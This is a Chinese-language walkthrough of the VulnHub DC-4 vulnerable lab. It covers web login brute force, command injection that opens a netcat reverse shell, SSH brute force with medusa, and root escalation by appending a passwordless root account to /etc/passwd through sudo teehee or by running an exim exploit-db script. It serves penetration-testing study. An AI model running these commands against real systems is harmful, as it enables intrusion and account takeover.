DC4-靶机详解
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
靶机地址
- https://www.vulnhub.com/entry/dc-4,313/
Description
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
Technical Information
DC-4 is a VirtualBox VM built on Debian 32 bit, so there should be no issues running it on most PCs.
If there are any issues running this VM in VMware, have a read through of this.
It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.
知识点
- web 登录爆破 (前期)
- web 命令执行 (中期)
- 反弹 shell (中期)
- SSH 爆破 (后期)
- linux 提权 (后期)
网络模式:NAT
Kali :192.168.197.128
渗透测试机器:192.168.197.148
前期-信息收集
开始进行ping周围机器 进行IP探活
nmap -sP 192.168.197.0/24
排除法,去掉自己、宿主机、网关, `192.168.197.148就是目标了
扫描开放端口 看一眼开了那些服务和端口
nmap -A -v 192.168.197.148
这边可以看到这里就开放了两个端口(22、80) 直觉告诉我就是一个web 一个ssh
单纯一个登录页面,没有任何其他逻辑功能,比如密码找回、注册
那么接下来有几种手段,直接爆破账号密码,SQL注入,和爆破目录敏感文件等。因为这里没有做太多的限制所以我一开始想的就是用bp爆破先试一下 名字这里就是admin、那我们就使用sniper模式只爆破它的密码
首先先输入一个admin账户名,再随便输入一个密码 然后 登录抓包
然后这边通过对Length对降序排列 发现一个718 看上去异常.这里很容易就爆破出来了 就是一个弱口令 密码是happy
中期-漏洞利用
这边可以看到可以直接运行相关的命令
然后我们这边思路就比较清晰了,直接通过bp拦截流量、篡改数据 再发送到服务端
这里可以在 burp 中拦截请求,将 把ls±l 改成nc -e /bin/bash 192.168.197.148 5985(Kali 机IP),这里注意这个位置的空格要使用+占位符来表示
这里 kali 做好监听
nc -lvp 5985
此时 kali 以收到弹回的 shell,给他改成方便交互的
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
**
**
后期-提权
Version 1
接下来要想办法提权,查看能够登录的帐号 (这里查看passwd主要是为了查看本机有几个用户)
cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash
查看目录
ls /home/jim
ls /home/sam
ls /home/charles
ls /tmp
在 /home/jim/
下发现了 mbox
文件,但是这个文件除了jim其他人都没有权限去读,那我们只能想办法去爆破出jim的账户出来
在 /home/jim/backups
下发现了 old-passwords.bak
文件, 很显然这是一个密码本 把这个密码本拿下来 搞到kali上来爆破
medusa -M ssh -h 192.168.197.148 -u jim -P pass.txt
这个命令使用了 Medusa 工具来进行 SSH 密码破解攻击,具体选项含义如下:
-M ssh
:指定要使用 SSH 协议进行破解。-h 192.168.197.148
:指定目标主机的 IP 地址。-u jim
:指定要破解的用户名为 “jim”。-P pass.txt
:指定密码字典文件为 “pass.txt”,其中包含了要尝试的密码列表。
综合起来,这个命令的目的是使用 Medusa 工具对目标主机 192.168.197.148
上的 SSH 服务进行密码破解攻击,用户名为 “jim”,密码列表来源于文件 “pass.txt”。
果然!!! 爆破出来了 jibril04
好现在通过ssh 进入jim的账户
登录,并查看 mbox 内容
看上去像是一份邮件,去 /var/mail
看看是否有信息
在这里插入图片描述
发现一份 charles 给 jim 的信,他要去度假,老板让他把密码给 jim,ok 收获 charles 密码 ^xHhA&hvim0y
登录 charles 用户并尝试提权
su charles
sudo -l
Charles 可以使用 sudo 权限运行 teehee。teehee 可以干嘛?可以将标准输入复制到我们选择的文件中。那么我可以直接写一个 root 权限的用户到 /etc/passwd 下,也可以直接在 sudoers 里给 charles 所有权限
-
在这里直接嚣张一点创建一个IAMROOT的root用户 再用这个用户登录进去 拿到flag
echo "IAMROOT::0:0:::/bin/sh" | sudo teehee -a /etc/passwd su IAMROOT whoami
Verion 2
这边连接进去了还可以 有另一种方案,可以直接在靶机上查看
find / -user root -perm -4000 -print 2>/dev/null
这个命令用于在文件系统中查找所有属主为 root、且设置了 SUID 权限的文件,并将结果输出到标准输出。
具体解释如下:
find
: 命令用于在文件系统中搜索文件和目录。/
: 指定搜索的起始路径为根目录。-user root
: 指定要搜索的文件的属主为 root。-perm -4000
: 指定要搜索的文件的权限设置中包含 SUID 位(即以数字形式表示的权限设置中包含 4,表示 SUID 权限)。-print
: 指定将搜索到的文件路径打印到标准输出。2>/dev/null
: 将标准错误输出重定向到/dev/null
,即丢弃错误信息,以避免显示权限错误或无法访问的目录导致的错误信息干扰。
因此,这个命令的目的是在文件系统中查找属主为 root、并设置了 SUID 权限的文件,并将它们的路径输出到标准输出。
这里注意这个exim4,可以在这个上面动手脚提权
`/usr/sbin/exim4 -v`
这个命令 exim4 -v
是用于以交互式模式启动 Exim 4 邮件传输代理 (MTA) 并显示更多详细信息。
具体解释如下:
/usr/sbin/exim4
:Exim 4 的可执行文件路径。-v
:表示启用详细的 verbose 模式,通常用于在执行过程中输出更多的调试和信息。
这里查看exim的漏洞 发现这里有个本地权限提升的一个shell脚本
这里把这个脚本拷过来,这里注意还需要转义一下成Unix格式
cp /usr/share/exploitdb/exploits/linux/local/46996.sh .
dos2unix 46996.sh
这边老规矩把apache服务打开(先把payload移动到/var/www/html),把这个payload脚本传过去
这里注意 最好将payload移动到靶机tmp目录下,这样好操作
bash 46996.sh
后面的操作就无需多言了,转到root目录下 查看flag